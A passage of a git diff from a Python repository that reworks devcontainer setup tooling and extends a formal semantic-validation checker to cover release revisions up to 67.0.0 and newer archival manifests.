"__main__": + raise SystemExit(main()) diff --git a/tools/devcontainer_image.py b/tools/devcontainer_image.py index 50dc0290b..fc2703a70 100644 --- a/tools/devcontainer_image.py +++ b/tools/devcontainer_image.py @@ -1,11 +1,5 @@ #!/usr/bin/env python3 -"""Render the reviewed development-container build plan from policy authority. - -The image configuration owns no version, digest, package, or platform fact. Every -value below is resolved from the development artifact lock and the reviewed host -profile through the existing fail-before-acquisition policy gate, so a Dockerfile -or dev-container edit can never become a second authority. -""" +"""Render only locked image identity for the native Docker build.""" from __future__ import annotations @@ -54,11 +48,6 @@ def build_plan( # NOSONAR -- explicit closed-response checks keep the plan fail ) if len(selection.raw_manifest) != 1 or not selection.release.startswith(_DIGEST_PREFIX): raise RuntimeError("development base image selection must pin one index and one platform manifest") - snapshot = host.get("native_repository_snapshot") - user = host.get("development_user") - if not isinstance(snapshot, str) or not isinstance(user, dict): - raise RuntimeError("container host profile must declare a package snapshot and development user") - packages = {*host["offline_kit"]["host_prerequisite_package_ids"], *host.get("development_package_ids", [])} return { "host_profile_id": host_profile_id, "platform_id": platform_id, @@ -66,10 +55,6 @@ def build_plan( # NOSONAR -- explicit closed-response checks keep the plan fail "base_image_reference": f"{registry_reference}@{_DIGEST_PREFIX}{selection.raw_manifest[0].sha256}", "base_image_index_digest": selection.release, "base_image_digest": f"{_DIGEST_PREFIX}{selection.raw_manifest[0].sha256}", - "native_repository_snapshot": snapshot, - "package_ids": sorted(packages), - "development_user": {"name": user["name"], "uid": user["uid"], "gid": user["gid"]}, - "policy_sha256": host_selection["policy_sha256"], } diff --git a/tools/devcontainer_setup.py b/tools/devcontainer_setup.py index 124eea812..eb32fa8e7 100644 --- a/tools/devcontainer_setup.py +++ b/tools/devcontainer_setup.py @@ -38,6 +38,8 @@ (_TOOLING_PROJECT, ("--frozen", "--no-default-groups")), ) _SUBPROCESS_TIMEOUT_SECONDS = 1800 +_SHEBANG_READ_LIMIT = 512 +_VENV_INTERPRETER_SUFFIX = "/.venv/bin/python" class DevcontainerSetupError(RuntimeError): @@ -52,21 +54,13 @@ def default_kit_root() -> Path: def container_host_profile_id(repo_root: Path, platform_id: str) -> str: """Return the one reviewed container host profile qualified for this platform.""" - from tools.check_tooling_artifact_policy import ( - PROFILES_PATH, - evaluate_tooling_artifact_policy, - ) - from tools.policy.common import load_bounded_json_object from tools.tooling_artifact_policy_common import ( - MAX_JSON_BYTES, + PROFILES_PATH, normalize_platform_id, + read_tooling_document, ) - failures = evaluate_tooling_artifact_policy(repo_root) - if failures: - rendered = "\n".join(item.render() for item in failures) - raise DevcontainerSetupError(f"the development artifact policy is invalid:\n{rendered}") - profiles = load_bounded_json_object(repo_root, PROFILES_PATH, max_bytes=MAX_JSON_BYTES) + profiles = read_tooling_document(repo_root, PROFILES_PATH) matches = [ str(host["host_profile_id"]) for host in profiles.get("host_profiles", []) @@ -129,9 +123,9 @@ def prepare_kit(host_profile_id: str, kit_root: Path) -> dict[str, str]: else: missing.append(artifact_id) if missing: - bootstrap_profile.fetch_offline_kit_payloads(host_profile_id, staging, missing) - bootstrap_profile.install_offline_uv_payload(host_profile_id, staging, uv_id) - python = bootstrap_profile.install_offline_python_payload(host_profile_id, staging, python_id) + bootstrap_profile.fetch_bootstrap_payloads(host_profile_id, staging, missing) + bootstrap_profile.install_uv_payload(host_profile_id, staging, uv_id) + python = bootstrap_profile.install_python_payload(host_profile_id, staging, python_id) (staging / "python" / PYTHON_LINK_NAME).symlink_to(Path(python["path"]).name, target_is_directory=True) previous = kit_root.with_name(f".{kit_root.name}-previous") shutil.rmtree(previous, ignore_errors=True) @@ -166,6 +160,33 @@ def _run(argv: Sequence[str], repo_root: Path, environment: Mapping[str, str]) - raise DevcontainerSetupError(f"`{' '.join(argv)}` failed with exit code {completed.returncode}") +def environment_is_relocated(venv: Path) -> bool: + """Report whether a virtual environment's console scripts name another path. + + A checkout carries its environments, and their console scripts record the + absolute path of the environment that built them. Mounting one checkout at a + second path therefore leaves scripts that cannot start. `uv sync` reports such + an environment as already satisfying the lock, so setup finds and discards it. + """ + + expected = f"#!{venv / 'bin' / 'python'}" + try: + entries = sorted((venv / "bin").iterdir()) + except OSError: + return False + for script in entries: + if script.is_symlink() or not script.is_file(): + continue + try: + with script.open("rb") as handle: + shebang = handle.readline(_SHEBANG_READ_LIMIT).decode("utf-8", "replace").strip() + except OSError: + continue + if shebang.endswith(_VENV_INTERPRETER_SUFFIX) and shebang != expected: + return True + return False + + def sync_projects(repo_root: Path, kit_root: Path) -> None: uv = kit_root / "bin" / "uv" environment = { @@ -174,6 +195,9 @@ def sync_projects(repo_root: Path, kit_root: Path) -> None: "UV_PYTHON_DOWNLOADS": "never", } for project, options in _PROJECTS: + venv = repo_root / project / ".venv" + if environment_is_relocated(venv): + shutil.rmtree(venv) _run([str(uv), "sync", "--project", project, *options], repo_root, environment) @@ -199,7 +223,7 @@ def install_generic_tools(repo_root: Path, kit_root: Path) -> None: def install_git_hooks(repo_root: Path, kit_root: Path) -> str: - """Install the repository's pre-commit and pre-push hooks unless the checkout cannot hold them.""" + """Install configured hooks unless the checkout cannot hold them.""" git_dir = subprocess.run( # noqa: S603 - fixed argv ["git", "rev-parse", "--path-format=absolute", "--git-common-dir"], @@ -255,7 +279,7 @@ def setup(repo_root: Path = REPO_ROOT, *, kit_root: Path | None = None) -> None: ) hooks = _step("Installing git hooks", lambda: install_git_hooks(repo_root, kit_root)) print( - f"Ready. Git hooks: {hooks}. Run `nox -l` to list checks; `nox -s verify-changed` before pushing.", + f"Ready. Git hooks: {hooks}. Run `nox -l` for optional checks; full verification runs in CI/CD.", flush=True, ) diff --git a/tools/formal_semantic_validation/_archival_shape.py b/tools/formal_semantic_validation/_archival_shape.py index 9ee01a2b2..889e91b08 100644 --- a/tools/formal_semantic_validation/_archival_shape.py +++ b/tools/formal_semantic_validation/_archival_shape.py @@ -13,7 +13,7 @@ from tools.policy.common import safe_repo_path -from ._types import _ARCHIVAL_MANIFEST_SHA256 +from ._types import _ARCHIVAL_MANIFEST_SHA256, _ARCHIVAL_MANIFEST_V2_SHA256 _ARCHIVE_ROOT = "docs/research/formal-semantic-validation/archive-contracts" @@ -22,7 +22,7 @@ class _ArchivedContract(BaseModel): model_config = ConfigDict(extra="forbid", frozen=True) mode: Literal["satisfiability", "exploit-path"] - path: str = Field(pattern=r"^docs/research/formal-semantic-validation/archive-contracts/[a-z-]+-v2\.json$") + path: str = Field(pattern=r"^docs/research/formal-semantic-validation/archive-contracts/[a-z-]+-v[12]\.json$") sha256: str = Field(pattern=r"^[a-f0-9]{64}$") source_revision: str = Field(pattern=r"^[a-f0-9]{40}$") source_schema: str = Field(min_length=1) @@ -31,13 +31,27 @@ class _ArchivedContract(BaseModel): class _ArchiveManifest(BaseModel): model_config = ConfigDict(extra="forbid", frozen=True) - profile: Literal["raes-retained-production-evidence-shapes/v2"] + profile: Literal[ + "raes-retained-production-evidence-shapes/v1", + "raes-retained-production-evidence-shapes/v2", + ] contracts: tuple[_ArchivedContract, ...] = Field(min_length=2, max_length=2) def validate_archival_evidence_shape(repo_root: Path, payload: object, replay_mode: object) -> None: - manifest_bytes = (repo_root / _ARCHIVE_ROOT / "manifest-v2.json").read_bytes() - if hashlib.sha256(manifest_bytes).hexdigest() != _ARCHIVAL_MANIFEST_SHA256: + for version, pin in ( + (1, _ARCHIVAL_MANIFEST_SHA256), + (2, _ARCHIVAL_MANIFEST_V2_SHA256), + ): + schema = _archival_schema(repo_root, replay_mode, version, pin) + if Draft202012Validator(schema, registry=Registry()).is_valid(payload): + return + raise ValueError("historical production evidence violates its frozen archival shape") + + +def _archival_schema(repo_root: Path, replay_mode: object, version: int, pin: str) -> object: + manifest_bytes = (repo_root / _ARCHIVE_ROOT / f"manifest-v{version}.json").read_bytes() + if hashlib.sha256(manifest_bytes).hexdigest() != pin: raise ValueError("historical production evidence archival manifest digest mismatch") manifest = _ArchiveManifest.model_validate_json(manifest_bytes) records = [record for record in manifest.contracts if record.mode == replay_mode] @@ -50,5 +64,4 @@ def validate_archival_evidence_shape(repo_root: Path, payload: object, replay_mo content = path.read_bytes() if hashlib.sha256(content).hexdigest() != record.sha256: raise ValueError("historical production evidence archival shape digest mismatch") - if not Draft202012Validator(json.loads(content), registry=Registry()).is_valid(payload): - raise ValueError("historical production evidence violates its frozen archival shape") + return json.loads(content) diff --git a/tools/formal_semantic_validation/_baseline.py b/tools/formal_semantic_validation/_baseline.py index 2fc87e60a..30507976b 100644 --- a/tools/formal_semantic_validation/_baseline.py +++ b/tools/formal_semantic_validation/_baseline.py @@ -6,6 +6,7 @@ from pathlib import Path from tools.evidence_bundle_index import load_index_records +from tools.formal_semantic_validation._release_revisions import _HISTORICAL_RETEST_REVISIONS from tools.formal_semantic_validation._shape import ( _closed_object, _failure, @@ -26,8 +27,43 @@ _ARCHIVE_PINS_PATH = "docs/research/formal-semantic-validation/historical-artifacts/pins-v1.json" _ARCHIVE_PINS_SHA256 = "bcb61fa1f0bce5411eb4d3f9583b51df47798ac955d85b6dd3eadf50c14599f2" +_ADDITIONAL_ARCHIVE_PINS_PATH = "docs/research/formal-semantic-validation/historical-artifacts/pins-v2.json" +_ADDITIONAL_ARCHIVE_PINS_SHA256 = "04b4a1cdfa8c76ccbc536e87365e9343bec4fb8dcde712c15a6535c6e927352a" _DRIFT_COMPARISON_KEYS = ("actual_outcome", "diagnostic_kind", "result_digest") +_V2_REVISIONS = _HISTORICAL_RETEST_REVISIONS +_V3_CORPUS_REVISIONS = frozenset( + { + "16.0.0", + "17.0.0", + "18.0.0", + "19.0.0", + "20.0.0", + "21.0.0", + "22.0.0", + "23.0.0", + "24.0.0", + "25.0.0", + "26.0.0", + "27.0.0", + "28.0.0", + "29.0.0", + "30.0.0", + "31.0.0", + "32.0.0", + "33.0.0", + "34.0.0", + "35.0.0", + "36.0.0", + "37.0.0", + "38.0.0", + "39.0.0", + "40.0.0", + "41.0.0", + "43.0.0", + "44.0.0", + } +) def _pinned_document(repo_root: Path, relative: str, digest: str) -> Mapping[str, object] | None: @@ -41,12 +77,18 @@ def _pinned_document(repo_root: Path, relative: str, digest: str) -> Mapping[str def _archive_allowed(repo_root: Path, relative: str, digest: str) -> bool: - pins = _pinned_document(repo_root, _ARCHIVE_PINS_PATH, _ARCHIVE_PINS_SHA256) - return pins is not None and any( - (row[f"{kind}_path"], row[f"{kind}_sha256"]) == (relative, digest) - for row in pins["releases"] - for kind in ("release", "snapshot") - ) + for path, expected in ( + (_ARCHIVE_PINS_PATH, _ARCHIVE_PINS_SHA256), + (_ADDITIONAL_ARCHIVE_PINS_PATH, _ADDITIONAL_ARCHIVE_PINS_SHA256), + ): + pins = _pinned_document(repo_root, path, expected) + if pins is not None and any( + (row[f"{kind}_path"], row[f"{kind}_sha256"]) == (relative, digest) + for row in pins["releases"] + for kind in ("release", "snapshot") + ): + return True + return False def _baseline_document(repo_root: Path, path_value: object, digest: object) -> Mapping[str, object] | None: @@ -131,30 +173,41 @@ def _selected_baseline_manifest( indexed = indexed_records.get(baseline_path) baseline_manifest = _baseline_document(repo_root, baseline_path, baseline.get("release_sha256")) baseline_revision = baseline.get("release_revision") - v2_revisions = { - "3.0.0", - "4.0.0", - "5.0.0", - "6.0.0", - "7.0.0", - "8.0.0", - "9.0.0", - "10.0.0", - "11.0.0", - "12.0.0", - "13.0.0", - "14.0.0", - "15.0.0", - "16.0.0", - } expected_protocol_path = ( "docs/research/formal-semantic-validation/protocol-v2.json" - if baseline_revision in v2_revisions + if baseline_revision in _V2_REVISIONS else "docs/research/formal-semantic-validation/protocol-v1.json" ) - if baseline_revision == "16.0.0": + if baseline_revision in { + "42.0.0", + "45.0.0", + "46.0.0", + "47.0.0", + "48.0.0", + "49.0.0", + "50.0.0", + "51.0.0", + "52.0.0", + "53.0.0", + "54.0.0", + "55.0.0", + "56.0.0", + "57.0.0", + "58.0.0", + "59.0.0", + "60.0.0", + "61.0.0", + "62.0.0", + "63.0.0", + "64.0.0", + "65.0.0", + "66.0.0", + "67.0.0", + }: + expected_corpus_path = "docs/research/formal-semantic-validation/corpus/manifest-v4.json" + elif baseline_revision in _V3_CORPUS_REVISIONS: expected_corpus_path = "docs/research/formal-semantic-validation/corpus/manifest-v3.json" - elif baseline_revision in v2_revisions: + elif baseline_revision in _V2_REVISIONS: expected_corpus_path = "docs/research/formal-semantic-validation/corpus/manifest-v2.json" else: expected_corpus_path = "docs/research/formal-semantic-validation/corpus/manifest-v1.json" diff --git a/tools/formal_semantic_validation/_loading.py b/tools/formal_semantic_validation/_loading.py index a28d81642..28c84abca 100644 --- a/tools/formal_semantic_validation/_loading.py +++ b/tools/formal_semantic_validation/_loading.py @@ -5,6 +5,7 @@ from pathlib import Path from tools.evidence_bundle_index import load_index_records, revision_key +from tools.formal_semantic_validation._release_revisions import _SUPPORTED_RETEST_REVISIONS from tools.formal_semantic_validation._types import ( _MAX_FILE_BYTES, MANIFEST_PATH, @@ -27,27 +28,8 @@ def load_release_bundles(repo_root: Path = REPO_ROOT) -> list[EvidenceRelease]: max_bytes=_MAX_FILE_BYTES, ) current_release_path(records) - if {record.get("revision") for _, record in records} != { - "1.0.0", - "1.1.0", - "1.2.0", - "2.0.0", - "3.0.0", - "4.0.0", - "5.0.0", - "6.0.0", - "7.0.0", - "8.0.0", - "9.0.0", - "10.0.0", - "11.0.0", - "12.0.0", - "13.0.0", - "14.0.0", - "15.0.0", - "16.0.0", - "17.0.0", - }: + supported_revisions = _SUPPORTED_RETEST_REVISIONS | {"1.0.0", "1.1.0", "1.2.0", "2.0.0"} + if {record.get("revision") for _, record in records} != supported_revisions: raise ValueError("formal evidence requires every supported historical and current release") releases: list[EvidenceRelease] = [] for manifest_path, manifest in records: @@ -93,6 +75,6 @@ def load_retest_bundle( if not releases: raise ValueError("the formal semantic-validation index selects no v2 retest release") release = max(releases, key=lambda item: revision_key(item.manifest.get("revision"))) - if release.manifest.get("revision") != "17.0.0" or release.protocol.get("revision") != "2.0.0": - raise ValueError("the current formal evidence release must be the explicit 17.0.0 retest") + if release.manifest.get("revision") != "67.0.0" or release.protocol.get("revision") != "2.0.0": + raise ValueError("the current formal evidence release must be the explicit 67.0.0 retest") return release, release.protocol, release.corpus, release.snapshot, release.analysis diff --git a/tools/formal_semantic_validation/_release_revisions.py b/tools/formal_semantic_validation/_release_revisions.py new file mode 100644 index 000000000..b4fb7c5bb --- /dev/null +++ b/tools/formal_semantic_validation/_release_revisions.py @@ -0,0 +1,143 @@ +"""Explicit historical, current, and source-bound retest release revisions.""" + +_HISTORICAL_RETEST_REVISIONS = frozenset( + { + "3.0.0", + "4.0.0", + "5.0.0", + "6.0.0", + "7.0.0", + "8.0.0", + "9.0.0", + "10.0.0", + "11.0.0", + "12.0.0", + "13.0.0", + "14.0.0", + "15.0.0", + "16.0.0", + "17.0.0", + "18.0.0", + "19.0.0", + "20.0.0", + "21.0.0", + "22.0.0", + "23.0.0", + "24.0.0", + "25.0.0", + "26.0.0", + "27.0.0", + "28.0.0", + "29.0.0", + "30.0.0", + "31.0.0", + "32.0.0", + "33.0.0", + "34.0.0", + "35.0.0", + "36.0.0", + "37.0.0", + "38.0.0", + "39.0.0", + "40.0.0", + "41.0.0", + "42.0.0", + "43.0.0", + "44.0.0", + "45.0.0", + "46.0.0", + "47.0.0", + "48.0.0", + "49.0.0", + "50.0.0", + "51.0.0", + "52.0.0", + } +) | { + "53.0.0", + "54.0.0", + "55.0.0", + "56.0.0", + "57.0.0", + "58.0.0", + "59.0.0", + "60.0.0", + "61.0.0", + "62.0.0", + "63.0.0", + "64.0.0", + "65.0.0", + "66.0.0", +} + +_SUPPORTED_RETEST_REVISIONS = _HISTORICAL_RETEST_REVISIONS | {"67.0.0"} +_SOURCE_BOUND_RETEST_REVISIONS = _SUPPORTED_RETEST_REVISIONS - {"3.0.0"} + +_RETEST_BASELINE_REVISIONS = { + "4.0.0": "3.0.0", + "5.0.0": "4.0.0", + "6.0.0": "5.0.0", + "7.0.0": "6.0.0", + "8.0.0": "7.0.0", + "9.0.0": "8.0.0", + "10.0.0": "9.0.0", + "11.0.0": "10.0.0", + "12.0.0": "11.0.0", + "13.0.0": "12.0.0", + "14.0.0": "13.0.0", + "15.0.0": "14.0.0", + "16.0.0": "15.0.0", + "17.0.0": "16.0.0", + "18.0.0": "17.0.0", + "19.0.0": "18.0.0", + "20.0.0": "19.0.0", + "21.0.0": "20.0.0", + "22.0.0": "21.0.0", + "23.0.0": "22.0.0", + "24.0.0": "23.0.0", + "25.0.0": "24.0.0", + "26.0.0": "25.0.0", + "27.0.0": "26.0.0", + "28.0.0": "27.0.0", + "29.0.0": "28.0.0", + "30.0.0": "29.0.0", + "31.0.0": "30.0.0", + "32.0.0": "31.0.0", + "33.0.0": "32.0.0", + "34.0.0": "33.0.0", + "35.0.0": "34.0.0", + "36.0.0": "35.0.0", + "37.0.0": "36.0.0", + "38.0.0": "37.0.0", + "39.0.0": "38.0.0", + "40.0.0": "39.0.0", + "41.0.0": "40.0.0", + "42.0.0": "41.0.0", + # Parallel issue-218 captures retain their original pre-identity baseline. + "43.0.0": "41.0.0", + "44.0.0": "43.0.0", + "45.0.0": "42.0.0", + "46.0.0": "45.0.0", + "47.0.0": "42.0.0", + "48.0.0": "42.0.0", + "49.0.0": "45.0.0", + "50.0.0": "49.0.0", + "51.0.0": "50.0.0", + "52.0.0": "51.0.0", + "53.0.0": "52.0.0", + "54.0.0": "53.0.0", + "55.0.0": "54.0.0", + "56.0.0": "55.0.0", + "57.0.0": "56.0.0", + "58.0.0": "57.0.0", + "59.0.0": "58.0.0", + "60.0.0": "59.0.0", + # Issue-971 captures retain their original pre-merge baseline lineage. + "61.0.0": "55.0.0", + "62.0.0": "61.0.0", + "63.0.0": "62.0.0", + "64.0.0": "63.0.0", + "65.0.0": "64.0.0", + "66.0.0": "65.0.0", + "67.0.0": "66.0.0", +} diff --git a/tools/formal_semantic_validation/_releases.py b/tools/formal_semantic_validation/_releases.py index a73745a6d..2d130c6f6 100644 --- a/tools/formal_semantic_validation/_releases.py +++ b/tools/formal_semantic_validation/_releases.py @@ -11,6 +11,12 @@ from tools.formal_semantic_validation._bundle import validate_bundle from tools.formal_semantic_validation._corpus import _validate_corpus from tools.formal_semantic_validation._protocol import _validate_protocol +from tools.formal_semantic_validation._release_revisions import ( + _HISTORICAL_RETEST_REVISIONS, + _RETEST_BASELINE_REVISIONS, + _SOURCE_BOUND_RETEST_REVISIONS, + _SUPPORTED_RETEST_REVISIONS, +) from tools.formal_semantic_validation._retest import ( _RetestScope, _validate_retest_snapshot, @@ -31,6 +37,7 @@ _RELEASE_MANIFEST_KEYS, _RETAINED_CASE_TEXT_REPLACEMENTS, _SHA256_RE, + PARTICIPANT_IDENTITY_FIXTURE_SUCCESSORS, EvidenceRelease, ) from tools.policy.common import PolicyFailure, load_bounded_json_object, safe_repo_path @@ -153,7 +160,7 @@ def validate_release_bundle(repo_root: Path, release: EvidenceRelease) -> list[P release.corpus, release.snapshot, release.analysis, - replay_current=manifest.get("revision") == "17.0.0", + replay_current=manifest.get("revision") == "67.0.0", ) ) else: @@ -216,27 +223,71 @@ def validate_release_bundle(repo_root: Path, release: EvidenceRelease) -> list[P return failures -_HISTORICAL_RETEST_REVISIONS = frozenset( - { - "3.0.0", - "4.0.0", - "5.0.0", - "6.0.0", - "7.0.0", - "8.0.0", - "9.0.0", - "10.0.0", - "11.0.0", - "12.0.0", - "13.0.0", - "14.0.0", - "15.0.0", - "16.0.0", - } -) - -_SUPPORTED_RETEST_REVISIONS = _HISTORICAL_RETEST_REVISIONS | {"17.0.0"} -_SOURCE_BOUND_RETEST_REVISIONS = _SUPPORTED_RETEST_REVISIONS - {"3.0.0"} +def _expected_corpus_revision(release_revision: object) -> str: + expected_corpus_revision = ( + "3.0.0" + if release_revision + in { + "16.0.0", + "17.0.0", + "18.0.0", + "19.0.0", + "20.0.0", + "21.0.0", + "22.0.0", + "23.0.0", + "24.0.0", + "25.0.0", + "26.0.0", + "27.0.0", + "28.0.0", + "29.0.0", + "30.0.0", + "31.0.0", + "32.0.0", + "33.0.0", + "34.0.0", + "35.0.0", + "36.0.0", + "37.0.0", + "38.0.0", + "39.0.0", + "40.0.0", + "41.0.0", + "42.0.0", + "43.0.0", + "44.0.0", + } + else "2.0.0" + ) + if release_revision in { + "42.0.0", + "45.0.0", + "46.0.0", + "47.0.0", + "48.0.0", + "49.0.0", + "50.0.0", + "51.0.0", + "52.0.0", + "53.0.0", + "54.0.0", + "55.0.0", + "56.0.0", + "57.0.0", + "58.0.0", + "59.0.0", + "60.0.0", + "61.0.0", + "62.0.0", + "63.0.0", + "64.0.0", + "65.0.0", + "66.0.0", + "67.0.0", + }: + expected_corpus_revision = "4.0.0" + return expected_corpus_revision def validate_retest_bundle( @@ -261,7 +312,7 @@ def validate_retest_bundle( return [ _failure( "formal-validation-current-replay-required", - "only releases 3.0.0 through 16.0.0 can use integrated historical validation", + "only releases 3.0.0 through 66.0.0 can use integrated historical validation", snapshot_path, ) ] @@ -273,7 +324,7 @@ def validate_retest_bundle( release.manifest_path, ) ) - expected_corpus_revision = "3.0.0" if release_revision in {"16.0.0", "17.0.0"} else "2.0.0" + expected_corpus_revision = _expected_corpus_revision(release_revision) if protocol.get("revision") != "2.0.0" or corpus.get("revision") != expected_corpus_revision: failures.append( _failure( @@ -295,7 +346,7 @@ def validate_retest_bundle( ) _validate_protocol(repo_root, protocol, failures, protocol_path) cases_by_id = _validate_corpus(repo_root, protocol, corpus, failures, corpus_path) - historical_cases = _retained_historical_cases(repo_root, cases_by_id, failures, corpus_path) + historical_cases = _retained_historical_cases(repo_root, cases_by_id, failures, corpus_path, corpus.get("revision")) _validate_retest_snapshot( _RetestScope( repo_root=repo_root, @@ -335,22 +386,7 @@ def _current_retest_source_failures( ) ) baseline = snapshot.get("baseline") - expected_baseline = { - "4.0.0": "3.0.0", - "5.0.0": "4.0.0", - "6.0.0": "5.0.0", - "7.0.0": "6.0.0", - "8.0.0": "7.0.0", - "9.0.0": "8.0.0", - "10.0.0": "9.0.0", - "11.0.0": "10.0.0", - "12.0.0": "11.0.0", - "13.0.0": "12.0.0", - "14.0.0": "13.0.0", - "15.0.0": "14.0.0", - "16.0.0": "15.0.0", - "17.0.0": "16.0.0", - }[release_revision] + expected_baseline = _RETEST_BASELINE_REVISIONS[release_revision] if not isinstance(baseline, Mapping) or baseline.get("release_revision") != expected_baseline: failures.append( _failure( @@ -366,6 +402,7 @@ def _retained_historical_cases( cases_by_id: Mapping[str, Mapping[str, object]], failures: list[PolicyFailure], corpus_path: str, + corpus_revision: object = None, ) -> dict[object, Mapping[str, object]]: try: historical_corpus = load_bounded_json_object( @@ -389,6 +426,11 @@ def _retained_historical_cases( cases_by_id.get(str(case_id)) == { **case, + "fixture_path": ( + PARTICIPANT_IDENTITY_FIXTURE_SUCCESSORS.get(case.get("fixture_path"), case.get("fixture_path")) + if corpus_revision == "4.0.0" + else case.get("fixture_path") + ), "limitation": _RETAINED_CASE_TEXT_REPLACEMENTS.get( str(case.get("limitation")), case.get("limitation"), @@ -401,7 +443,7 @@ def _retained_historical_cases( _failure( "formal-validation-historical-retention", "the v2 corpus must retain every v1 case semantically unchanged, " - "allowing only the governed identity wording", + "allowing only governed wording and the explicit corpus-v4 participant-identity successors", corpus_path, ) ) diff --git a/tools/formal_semantic_validation/_retest.py b/tools/formal_semantic_validation/_retest.py index 46e903b0a..77812ad00 100644 --- a/tools/formal_semantic_validation/_retest.py +++ b/tools/formal_semantic_validation/_retest.py @@ -17,6 +17,7 @@ ) from tools.formal_semantic_validation._retest_header import _validate_retest_header from tools.formal_semantic_validation._retest_participants import ( + _retained_fixture_paths, _validate_retest_participant_observations, ) from tools.formal_semantic_validation._shape import ( @@ -36,6 +37,8 @@ ) from tools.policy.common import PolicyFailure +_SOURCE_STATE_REVISIONS = frozenset(f"{revision}.0.0" for revision in range(4, 68)) + @dataclasses.dataclass(frozen=True) class _RetestScope: @@ -63,27 +66,7 @@ def _validate_retest_snapshot( if not _closed_object( snapshot, _SNAPSHOT_V2_KEYS - | ( - {"source_state"} - if release.manifest.get("revision") - in { - "4.0.0", - "5.0.0", - "6.0.0", - "7.0.0", - "8.0.0", - "9.0.0", - "10.0.0", - "11.0.0", - "12.0.0", - "13.0.0", - "14.0.0", - "15.0.0", - "16.0.0", - "17.0.0", - } - else set() - ), + | ({"source_state"} if release.manifest.get("revision") in _SOURCE_STATE_REVISIONS else set()), rule_id="formal-validation-snapshot-shape", label="retest snapshot", failures=failures, @@ -100,22 +83,7 @@ def _validate_retest_snapshot( expected_release_paths = _retest_observation_failures( scope, (release_artifacts_by_path, commands_by_id), failures, path ) - if release.manifest.get("revision") in { - "4.0.0", - "5.0.0", - "6.0.0", - "7.0.0", - "8.0.0", - "9.0.0", - "10.0.0", - "11.0.0", - "12.0.0", - "13.0.0", - "14.0.0", - "15.0.0", - "16.0.0", - "17.0.0", - }: + if release.manifest.get("revision") in _SOURCE_STATE_REVISIONS: expected_release_paths.update(_retained_fixture_paths(cases_by_id)) _validate_release_selection(scope, command_ids, expected_release_paths, failures, path) _validate_retest_participant_observations(protocol, snapshot, failures, path) @@ -156,17 +124,6 @@ def _validate_release_selection( ) -def _retained_fixture_paths( - cases_by_id: Mapping[str, Mapping[str, object]], -) -> set[str]: - return { - value - for case in cases_by_id.values() - for value in (case.get("fixture_path"), case.get("comparison_fixture_path")) - if isinstance(value, str) - } - - def _retest_observation_failures( scope: _RetestScope, pins: tuple[Mapping[object, Mapping[str, object]], Mapping[object, object]], diff --git a/tools/formal_semantic_validation/_retest_participants.py b/tools/formal_semantic_validation/_retest_participants.py index 25a385ccd..94df1343a 100644 --- a/tools/formal_semantic_validation/_retest_participants.py +++ b/tools/formal_semantic_validation/_retest_participants.py @@ -7,6 +7,17 @@ from tools.policy.common import PolicyFailure +def _retained_fixture_paths(cases_by_id: Mapping[str, Mapping[str, object]]) -> set[str]: + """Select the retained case fixtures required by the release boundary.""" + + return { + value + for case in cases_by_id.values() + for value in (case.get("fixture_path"), case.get("comparison_fixture_path")) + if isinstance(value, str) + } + + def _validate_retest_participant_observations( protocol: Mapping[str, object], snapshot: Mapping[str, object], diff --git a/tools/formal_semantic_validation/_types.py b/tools/formal_semantic_validation/_types.py index a1e28c91d..decfd0eaf 100644 --- a/tools/formal_semantic_validation/_types.py +++ b/tools/formal_semantic_validation/_types.py @@ -125,6 +125,14 @@ def __call__(self, repo_root: Path, test_refs: list[str]) -> tuple[bool, str]: . "immutability_policy", } _CORPUS_KEYS = {"corpus_id", "revision", "cases"} +# Only these explicit successors may replace retained case inputs in corpus v4. +# Historical releases continue to bind the original bytes and paths. +PARTICIPANT_IDENTITY_FIXTURE_SUCCESSORS = { + f"docs/research/formal-semantic-validation/corpus/{name}.sdl.yaml": ( + f"docs/research/formal-semantic-validation/corpus/{name}-participant-identity-v2.sdl.yaml" + ) + for name in ("semantic-valid", "semantic-invalid-dangling-ref") +} _CASE_KEYS = { "case_id", "claim_class_id", @@ -319,7 +327,8 @@ def __call__(self, repo_root: Path, test_refs: list[str]) -> tuple[bool, str]: . # Immutable admission pins for the finite retained research corpus. Artifact # metadata cannot rebind these frozen shapes or evidence records. -_ARCHIVAL_MANIFEST_SHA256 = "b8a83a91bc50a4f1af8ebb214f3c2a38ec636e2a84fdd9d7440c0a3070285ecf" +_ARCHIVAL_MANIFEST_SHA256 = "2c99aa95a6429ba9ec31eb2b34f312f0fa7cd8df4a17084eb7782a5ba7ba0560" +_ARCHIVAL_MANIFEST_V2_SHA256 = "b8a83a91bc50a4f1af8ebb214f3c2a38ec636e2a84fdd9d7440c0a3070285ecf" _RETAINED_PRODUCTION_EVIDENCE_DIGESTS = frozenset( { "sha256:03925bfe0b209c3c77069c97061aa63e8795389be7ed7b78376020b7dc87853c", # finite-domain-satisfiable-v2.json diff --git a/tools/generate_contract_schemas.py b/tools/generate_contract_schemas.py index 2cd320d2b..34394d4b9 100644 --- a/tools/generate_contract_schemas.py +++ b/tools/generate_contract_schemas.py @@ -16,13 +16,18 @@ "runtime-snapshot-v1": "snapshots", "recursive-realization-constraint-v1": "realization-constraints", "backend-realization-preparation-v1": "plans", + "backend-materialization-attestation-v1": "plans", + "backend-augmentation-scope-v1": "plans", + "materialization-archive-record-v1": "experiment-core", "plan-realization-profiles-v1": "plans", + "mixed-participant-composition-profile-v1": "plans", } | dict.fromkeys( { "sdl-authoring-input-v1", "sdl-semantic-migration-context-v1", "instantiated-scenario-v1", + "materialized-scenario-v1", "instantiated-scenario-snapshot-v1", "scenario-instantiation-request-v1", }, @@ -54,6 +59,11 @@ "participant-joint-action-record-v1", "participant-time-management-context-v1", "participant-control-occurrence-v1", + "participant-control-selection-v1", + "participant-control-evaluation-v1", + "participant-control-selection-v2", + "participant-control-evaluation-v2", + "participant-control-teaching-profile-v1", "participant-crossing-occurrence-v1", "participant-flow-control-relation-v1", "participant-execution-binding-v1", @@ -64,6 +74,7 @@ "participant-resource-budget-state-v1", "participant-resource-budget-event-v1", "participant-outcome-report-v1", + "participant-outcome-report-v2", "runtime-fact-binding-plane-v1", }, "participant-runtime", @@ -83,6 +94,7 @@ ) _PREFIX_SCHEMA_DIRECTORIES = ( + ("authoring-adapter-", "authoring-adapters"), ("scenario-satisfiability-evidence-v", "satisfiability"), ("artifact-requirement-v", "artifact-requirements"), ("artifact-transformation-report-v", "artifact-transformations"), @@ -148,10 +160,27 @@ def write_schema_bundle(schemas_dir: Path) -> None: for name, schema in bundle.items(): output_path = _schema_output_path(schemas_dir, name) output_path.parent.mkdir(parents=True, exist_ok=True) - output_path.write_text( - json.dumps(schema, indent=2, 